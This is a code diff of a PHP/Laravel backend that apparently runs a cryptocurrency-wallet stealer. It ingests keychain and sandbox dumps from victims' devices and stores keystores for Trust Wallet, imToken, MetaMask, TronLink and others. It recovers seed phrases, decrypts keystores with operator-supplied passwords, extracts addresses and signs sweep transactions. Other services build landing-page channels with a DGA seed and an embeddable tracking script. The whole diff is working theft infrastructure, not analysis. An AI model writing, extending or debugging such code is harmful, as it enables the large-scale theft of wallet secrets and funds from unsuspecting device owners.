// zero bytes). Padding to 32 bytes produces non-canonical RLP that
|
||||
// geth/erigon-based BSC nodes reject with "unmarshal transaction failed"
|
||||
// whenever the top byte is 0x00 (≈1% of sweeps). kornrunner/elliptic
|
||||
// already returns minimal hex (no leading zeros); we only ensure even
|
||||
// length so hex2bin() yields the canonical byte string.
|
||||
$r = $sig->r->toString(16);
|
||||
$s = $sig->s->toString(16);
|
||||
if (strlen($r) % 2 !== 0) {
|
||||
$r = '0'.$r;
|
||||
}
|
||||
if (strlen($s) % 2 !== 0) {
|
||||
$s = '0'.$s;
|
||||
}
|
||||
$recovery = (int) ($sig->recoveryParam ?? 0);
|
||||
$v = (string) ($recovery + 35 + $chainId * 2);
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ class SolDriver implements ChainDriver
|
||||
return SolAddress::fromMnemonic($mnemonic, $index);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
throw new RuntimeException('SOL native transfer not supported');
|
||||
}
|
||||
@@ -158,7 +158,7 @@ class SolDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
$req = Http::timeout(30)->acceptJson()->asJson();
|
||||
$req = ChainHttpTimeout::apply(Http::timeout(30)->acceptJson()->asJson());
|
||||
$apiKey = (string) config('coruna.sol.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]);
|
||||
|
||||
@@ -20,7 +20,7 @@ class TronDriver implements ChainDriver
|
||||
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
@@ -300,7 +300,7 @@ class TronDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
$req = Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson();
|
||||
$req = ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
|
||||
$apiKey = (string) config('coruna.tron.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use RuntimeException;
|
||||
use ZipArchive;
|
||||
|
||||
class ChannelEmbedZipService
|
||||
{
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function listFiles(Channel $channel): array
|
||||
{
|
||||
$dir = $channel->embedAssetDir();
|
||||
if ($dir === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectFiles($dir);
|
||||
}
|
||||
|
||||
public function build(Channel $channel): string
|
||||
{
|
||||
$dir = $channel->embedAssetDir();
|
||||
if ($dir === null) {
|
||||
throw new RuntimeException('渠道静态资源不存在,请先构建');
|
||||
}
|
||||
$files = $this->collectFiles($dir);
|
||||
if ($files === []) {
|
||||
throw new RuntimeException('渠道目录里没有可打包的浏览器资源');
|
||||
}
|
||||
if (! class_exists(ZipArchive::class)) {
|
||||
throw new RuntimeException('PHP ZipArchive 不可用');
|
||||
}
|
||||
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'coruna-embed-');
|
||||
if ($tmp === false) {
|
||||
throw new RuntimeException('无法创建临时文件');
|
||||
}
|
||||
@unlink($tmp);
|
||||
$zipPath = $tmp.'.zip';
|
||||
|
||||
$zip = new ZipArchive();
|
||||
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
|
||||
throw new RuntimeException('无法创建 zip');
|
||||
}
|
||||
|
||||
$statOrigin = $this->statOrigin();
|
||||
foreach ($files as $rel) {
|
||||
$abs = $dir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $rel);
|
||||
$contents = file_get_contents($abs);
|
||||
if ($contents === false) {
|
||||
continue;
|
||||
}
|
||||
if ($rel === 'index.js' && $statOrigin !== '') {
|
||||
$contents = $this->bakeStatOrigin($contents, $statOrigin);
|
||||
}
|
||||
$zip->addFromString($rel, $contents);
|
||||
}
|
||||
$zip->addFromString('README.txt', $this->readme($channel));
|
||||
$zip->close();
|
||||
|
||||
return $zipPath;
|
||||
}
|
||||
|
||||
private function statOrigin(): string
|
||||
{
|
||||
$domains = Channel::normalizeDomainList(config('coruna.channel_domains', []));
|
||||
$host = trim((string) ($domains[0] ?? ''));
|
||||
if ($host === '') {
|
||||
return '';
|
||||
}
|
||||
if (preg_match('#^https?://#i', $host)) {
|
||||
return rtrim($host, '/');
|
||||
}
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
|
||||
return $scheme.'://'.rtrim($host, '/');
|
||||
}
|
||||
|
||||
private function bakeStatOrigin(string $boot, string $origin): string
|
||||
{
|
||||
$quoted = json_encode($origin, JSON_UNESCAPED_SLASHES);
|
||||
$updated = preg_replace(
|
||||
'/var STAT_ORIGIN = ([\'"][^\'"]*[\'"]|__STAT_ORIGIN__)/',
|
||||
'var STAT_ORIGIN = '.$quoted,
|
||||
$boot,
|
||||
1,
|
||||
);
|
||||
|
||||
return is_string($updated) ? $updated : $boot;
|
||||
}
|
||||
|
||||
private function readme(Channel $channel): string
|
||||
{
|
||||
$id = (string) $channel->channel_id;
|
||||
|
||||
return "把本 zip 解压到站点根目录(与首页同级),页面中加入:\n"
|
||||
."<script src=\"./index.js\"></script>\n\n"
|
||||
."渠道 {$id} 已写入 index.js。iframe 投放仍可用原落地页链接。\n";
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function collectFiles(string $dir): array
|
||||
{
|
||||
$skipNames = ['.DS_Store', 'manifest.json', 'README.md', 'README.txt'];
|
||||
$skipDirs = ['templates', '_bak', '__pycache__'];
|
||||
$files = [];
|
||||
$iterator = new \RecursiveIteratorIterator(
|
||||
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS)
|
||||
);
|
||||
foreach ($iterator as $file) {
|
||||
if (! $file->isFile()) {
|
||||
continue;
|
||||
}
|
||||
$abs = $file->getPathname();
|
||||
$rel = ltrim(str_replace('\\', '/', substr($abs, strlen($dir))), '/');
|
||||
$parts = explode('/', $rel);
|
||||
if (array_intersect($parts, $skipDirs) !== []) {
|
||||
continue;
|
||||
}
|
||||
if (in_array(end($parts), $skipNames, true)) {
|
||||
continue;
|
||||
}
|
||||
$ext = strtolower((string) $file->getExtension());
|
||||
if (! in_array($ext, ['js', 'html', 'htm', 'css'], true)) {
|
||||
continue;
|
||||
}
|
||||
$files[] = $rel;
|
||||
}
|
||||
sort($files);
|
||||
|
||||
return $files;
|
||||
}
|
||||
}
|
||||
@@ -52,16 +52,10 @@ class ChannelProjectService
|
||||
);
|
||||
}
|
||||
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
|
||||
return $this->generateOld(
|
||||
$this->normalizeChannelId($channelId),
|
||||
$supportTemplate,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
dsDomain: (string) config('coruna.xxbb.ds_domain', ''),
|
||||
);
|
||||
}
|
||||
|
||||
@@ -71,6 +65,17 @@ class ChannelProjectService
|
||||
): void {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
// App builder channels have no static resource tree —
|
||||
// only the DB row + optionally an IPA output directory.
|
||||
if ($builderType === Channel::BUILDER_APP) {
|
||||
$dir = public_path('channel/'.$channelId);
|
||||
if (is_dir($dir) && ! $this->removeDirectory($dir)) {
|
||||
throw new RuntimeException('删除渠道资源失败: '.$dir);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
$code = Channel::normalizeNewChannelId($channelId);
|
||||
if ($code === null) {
|
||||
@@ -119,10 +124,10 @@ class ChannelProjectService
|
||||
private function generateOld(
|
||||
string $channelId,
|
||||
string $supportTemplate,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
string $dsDomain = '',
|
||||
): array {
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
$seed = $this->requireEnvOldSeed();
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_OLD),
|
||||
$this->builderScript('new_project.py', self::BUILDER_OLD),
|
||||
@@ -135,12 +140,14 @@ class ChannelProjectService
|
||||
'--support-template',
|
||||
$supportTemplate,
|
||||
'--force',
|
||||
'--deployment-seed',
|
||||
$seed,
|
||||
'--reporting-seed',
|
||||
$seed,
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
if ($dsDomain !== '') {
|
||||
$cmd[] = '--ds-domain';
|
||||
$cmd[] = $dsDomain;
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
|
||||
@@ -163,6 +170,7 @@ class ChannelProjectService
|
||||
'weifile_path' => null,
|
||||
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
|
||||
'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
|
||||
'ds_domain' => $dsDomain,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -202,6 +210,72 @@ class ChannelProjectService
|
||||
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild existing old-builder channels in place (same 32-hex channel_id).
|
||||
* DGA seed always comes from CORUNA_CHANNEL_SEED; overwrites public/web/{id}/.
|
||||
*
|
||||
* @param list<string>|null $channelIds null = all builder_type=old rows
|
||||
* @return array{channels: list<array<string, mixed>>}
|
||||
*/
|
||||
public function rebuildOldChannels(
|
||||
?array $channelIds = null,
|
||||
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
|
||||
string $dsDomain = '',
|
||||
): array {
|
||||
$ids = $this->resolveOldChannelIds($channelIds);
|
||||
if ($ids === []) {
|
||||
throw new RuntimeException('没有可重打的旧版渠道(builder_type=old)');
|
||||
}
|
||||
|
||||
$channels = [];
|
||||
foreach ($ids as $id) {
|
||||
$channels[] = $this->generateOld(
|
||||
$id,
|
||||
$supportTemplate,
|
||||
$dsDomain,
|
||||
);
|
||||
}
|
||||
|
||||
return [
|
||||
'channels' => $channels,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string>|null $channelIds
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolveOldChannelIds(?array $channelIds = null): array
|
||||
{
|
||||
if ($channelIds === null) {
|
||||
return Channel::query()
|
||||
->where('builder_type', self::BUILDER_OLD)
|
||||
->orderBy('id')
|
||||
->pluck('channel_id')
|
||||
->map(function ($id) {
|
||||
try {
|
||||
return $this->normalizeChannelId((string) $id);
|
||||
} catch (RuntimeException) {
|
||||
return null;
|
||||
}
|
||||
})
|
||||
->filter()
|
||||
->values()
|
||||
->all();
|
||||
}
|
||||
|
||||
$ids = [];
|
||||
foreach ($channelIds as $raw) {
|
||||
try {
|
||||
$ids[] = $this->normalizeChannelId((string) $raw);
|
||||
} catch (RuntimeException) {
|
||||
throw new RuntimeException('旧版渠道 ID 必须是 32 位 hex: '.$raw);
|
||||
}
|
||||
}
|
||||
|
||||
return array_values(array_unique($ids));
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild existing new-builder channels in place (same channel_id / ver patch).
|
||||
* Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
|
||||
@@ -417,6 +491,19 @@ class ChannelProjectService
|
||||
return $c;
|
||||
}
|
||||
|
||||
private function requireEnvOldSeed(): string
|
||||
{
|
||||
$seed = strtolower(trim((string) config('coruna.channel_builder.seed', '')));
|
||||
if ($seed === '') {
|
||||
throw new RuntimeException('请先在 .env 配置 CORUNA_CHANNEL_SEED(32 位 hex)');
|
||||
}
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $seed)) {
|
||||
throw new RuntimeException('CORUNA_CHANNEL_SEED 必须是 32 位 hex');
|
||||
}
|
||||
|
||||
return $seed;
|
||||
}
|
||||
|
||||
private function normalizeSharedChannelC(?string $channelC): ?string
|
||||
{
|
||||
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
|
||||
@@ -707,8 +794,8 @@ class ChannelProjectService
|
||||
if ($builderType === '') {
|
||||
return self::BUILDER_OLD;
|
||||
}
|
||||
if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW], true)) {
|
||||
throw new RuntimeException('无效的渠道类型(支持: old, new)');
|
||||
if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW, Channel::BUILDER_APP], true)) {
|
||||
throw new RuntimeException('无效的渠道类型(支持: old, new, app)');
|
||||
}
|
||||
|
||||
return $builderType;
|
||||
@@ -738,31 +825,4 @@ class ChannelProjectService
|
||||
|
||||
return $supportTemplate;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: ?string, 1: ?string}
|
||||
*/
|
||||
private function normalizeOptionalSeeds(
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
|
||||
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
|
||||
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
|
||||
return [null, null];
|
||||
}
|
||||
if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') {
|
||||
throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供');
|
||||
}
|
||||
foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) {
|
||||
if (! preg_match('/^[ -~]{1,32}$/', $value)) {
|
||||
throw new RuntimeException("无效的 {$name}(需 1–32 位 ASCII)");
|
||||
}
|
||||
}
|
||||
if ($deploymentSeed !== $reportingSeed) {
|
||||
throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同');
|
||||
}
|
||||
|
||||
return [$deploymentSeed, $reportingSeed];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
@@ -248,17 +249,18 @@ class DarkSwordIngestAdapter
|
||||
$wallets = $keychain['wallets'] ?? [];
|
||||
$sandbox = $payload['sandbox'] ?? [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
// Store keychain + decryptable UTC only. Do not persist the rest of sandbox.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
// Async: mnemonic recovery still receives the in-memory sandbox for this
|
||||
// request; later reprocess rebuilds UTC from stored web3.keystore rows.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
@@ -506,7 +508,7 @@ class DarkSwordIngestAdapter
|
||||
return;
|
||||
}
|
||||
$this->trustAddresses->ingest($device, $raw);
|
||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
$this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]);
|
||||
|
||||
// Async: attempt Trust UTC keystore decryption.
|
||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||
@@ -528,10 +530,10 @@ class DarkSwordIngestAdapter
|
||||
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
|
||||
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
// Store keychain + decryptable UTC only.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
@@ -556,10 +558,10 @@ class DarkSwordIngestAdapter
|
||||
if ($json === null) {
|
||||
return;
|
||||
}
|
||||
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
|
||||
$payload = $json;
|
||||
$payload['kind'] = 'web3.keystore';
|
||||
$this->createKeystore($device, 'imToken', $payload, true);
|
||||
|
||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
||||
// but the job logs the reason and still extracts addresses if any).
|
||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
@@ -749,7 +751,7 @@ class DarkSwordIngestAdapter
|
||||
continue;
|
||||
}
|
||||
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
$row = [
|
||||
@@ -810,6 +812,92 @@ class DarkSwordIngestAdapter
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree.
|
||||
* The rest of the sandbox is discarded.
|
||||
*
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array
|
||||
{
|
||||
$items = $this->keystoreDecrypt->collectKeystores($tree);
|
||||
$rows = [];
|
||||
$seen = [];
|
||||
foreach ($items as $item) {
|
||||
$ks = $item['keystore'];
|
||||
$crypto = $ks['crypto'] ?? $ks['Crypto'] ?? [];
|
||||
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
||||
if ($fp === '|' || isset($seen[$fp])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$fp] = true;
|
||||
$source = trim((string) ($item['source'] ?? ''));
|
||||
if ($source === '') {
|
||||
$source = 'Trust Wallet';
|
||||
}
|
||||
$payload = $ks;
|
||||
$payload['kind'] = 'web3.keystore';
|
||||
$rows[] = $this->createKeystore(
|
||||
$device,
|
||||
$source,
|
||||
$payload,
|
||||
$this->web3NeedsUserPassword($source),
|
||||
);
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
private function web3NeedsUserPassword(string $source): bool
|
||||
{
|
||||
$label = strtolower(trim($source));
|
||||
|
||||
return str_contains($label, 'imtoken')
|
||||
|| str_contains($label, 'metamask')
|
||||
|| str_contains($label, 'tronlink')
|
||||
|| str_contains($label, 'tokenpocket')
|
||||
|| str_contains($label, 'global wallet');
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs
|
||||
* still see UTC blobs after we stopped persisting full sandbox dumps.
|
||||
*
|
||||
* @return array{0: array<string, mixed>, 1: array<string, mixed>}
|
||||
*/
|
||||
public function storedWalletTrees(Device $device): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$json = is_array($row->raw_json) ? $row->raw_json : [];
|
||||
$kind = (string) ($json['kind'] ?? '');
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []);
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) {
|
||||
$key = trim((string) $row->source);
|
||||
if ($key === '') {
|
||||
$key = 'web3';
|
||||
}
|
||||
if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) {
|
||||
$sandbox[$key] = [];
|
||||
}
|
||||
$sandbox[$key][] = $json;
|
||||
|
||||
continue;
|
||||
}
|
||||
if (isset($json['sandbox']) && is_array($json['sandbox'])) {
|
||||
$sandbox = array_merge($sandbox, $json['sandbox']);
|
||||
}
|
||||
}
|
||||
|
||||
return [$wallets, $sandbox];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
@@ -879,9 +967,9 @@ class DarkSwordIngestAdapter
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
*/
|
||||
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
||||
private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore
|
||||
{
|
||||
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
||||
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -893,19 +981,7 @@ class DarkSwordIngestAdapter
|
||||
public function reprocessKeystores(Device $device): void
|
||||
{
|
||||
$device->load('keystores');
|
||||
|
||||
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
|
||||
// can traverse the original tree structure.
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$kind = $row->raw_json['kind'] ?? '';
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
|
||||
} else {
|
||||
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
|
||||
}
|
||||
}
|
||||
[$wallets, $sandbox] = $this->storedWalletTrees($device);
|
||||
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
@@ -919,8 +995,39 @@ class DarkSwordIngestAdapter
|
||||
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
{
|
||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||
$this->applyMnemonicHits($device, $hits);
|
||||
}
|
||||
|
||||
/**
|
||||
* Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password,
|
||||
* then persist mnemonics the same way as automatic recovery.
|
||||
*
|
||||
* @return array{hits: int, utc: int, vault: int}
|
||||
*/
|
||||
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||
{
|
||||
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
|
||||
$this->applyMnemonicHits($device, $result['hits']);
|
||||
if ($result['hits'] !== []) {
|
||||
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
|
||||
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
return [
|
||||
'hits' => count($result['hits']),
|
||||
'utc' => $result['utc'],
|
||||
'vault' => $result['vault'] ?? 0,
|
||||
'coin98' => $result['coin98'] ?? 0,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
|
||||
*/
|
||||
private function applyMnemonicHits(Device $device, array $hits): void
|
||||
{
|
||||
foreach ($hits as $hit) {
|
||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
||||
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['phrase'],
|
||||
'a' => $tag,
|
||||
@@ -970,8 +1077,18 @@ class DarkSwordIngestAdapter
|
||||
if (is_string($node)) {
|
||||
$phrase = $this->asMnemonicPhrase($node);
|
||||
if ($phrase !== null) {
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
||||
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
|
||||
$ingestTag = $tag;
|
||||
if ($sourceHint !== '') {
|
||||
$mapped = WalletSource::tagForLabel($sourceHint);
|
||||
if ($mapped !== '') {
|
||||
$ingestTag = $mapped;
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]);
|
||||
$hits[] = [
|
||||
'phrase' => $phrase,
|
||||
'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag),
|
||||
];
|
||||
}
|
||||
|
||||
return;
|
||||
@@ -1028,6 +1145,13 @@ class DarkSwordIngestAdapter
|
||||
|
||||
private function tagForWalletKey(string $key, string $fallback): string
|
||||
{
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$mapped = WalletSource::tagForLabel($hint);
|
||||
if ($mapped !== '') {
|
||||
return $mapped;
|
||||
}
|
||||
}
|
||||
$k = strtolower($key);
|
||||
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
||||
return 'b';
|
||||
@@ -1170,6 +1294,24 @@ class DarkSwordIngestAdapter
|
||||
// We don't have the key here in the recursive walk; detect from
|
||||
// service/account fields instead.
|
||||
|
||||
// Check direct 'address' field (Trust Wallet activeAccounts pattern:
|
||||
// {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}).
|
||||
$directAddr = (string) ($node['address'] ?? '');
|
||||
if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) {
|
||||
$chainType = WalletSource::inferChainType($directAddr);
|
||||
// TronLink stores TRON addresses in hex format (0x41 prefix)
|
||||
if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) {
|
||||
$converted = self::hexTronToBase58($directAddr);
|
||||
if ($converted !== null) {
|
||||
$directAddr = $converted;
|
||||
$chainType = 'TRON';
|
||||
}
|
||||
}
|
||||
if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) {
|
||||
$out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag);
|
||||
}
|
||||
}
|
||||
|
||||
// Check account field for embedded addresses (Uniswap pattern:
|
||||
// "com.uniswap.mobile.mnemonic.0x4A45...").
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
@@ -1244,7 +1386,11 @@ class DarkSwordIngestAdapter
|
||||
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
|
||||
$addr = $json['address'];
|
||||
$chainType = WalletSource::inferChainType($addr);
|
||||
if (WalletSource::isSupportedChain($chainType)) {
|
||||
// TON stays out of DS free-text harvests (jetton
|
||||
// contract noise); only the app-link Tonhub
|
||||
// collector may store TON addresses.
|
||||
$supported = $chainType !== 'TON' && WalletSource::isSupportedChain($chainType);
|
||||
if ($supported) {
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
@@ -1333,4 +1479,49 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a 42-char hex TRON address (0x41-prefixed) to base58check.
|
||||
*/
|
||||
private static function hexTronToBase58(string $hex): ?string
|
||||
{
|
||||
if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
if ($bin === false || strlen($bin) !== 21) {
|
||||
return null;
|
||||
}
|
||||
$hash1 = hash('sha256', $bin, true);
|
||||
$hash2 = hash('sha256', $hash1, true);
|
||||
$data = $bin . substr($hash2, 0, 4);
|
||||
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$base = strlen($alphabet);
|
||||
$num = array_map('ord', str_split($data));
|
||||
$result = '';
|
||||
|
||||
while (count($num) > 0 && $num[0] === 0) {
|
||||
$result .= $alphabet[0];
|
||||
$num = array_slice($num, 1);
|
||||
}
|
||||
|
||||
while ($num !== []) {
|
||||
$quotient = [];
|
||||
$remainder = 0;
|
||||
foreach ($num as $byte) {
|
||||
$acc = $remainder * 256 + $byte;
|
||||
$digit = intdiv($acc, $base);
|
||||
$remainder = $acc % $base;
|
||||
if ($quotient !== [] || $digit !== 0) {
|
||||
$quotient[] = $digit;
|
||||
}
|
||||
}
|
||||
$result = $alphabet[$remainder] . $result;
|
||||
$num = $quotient;
|
||||
}
|
||||
|
||||
return strlen($result) === 34 && $result[0] === 'T' ? $result : null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -69,6 +69,8 @@ final class DsKeystoreDecrypt
|
||||
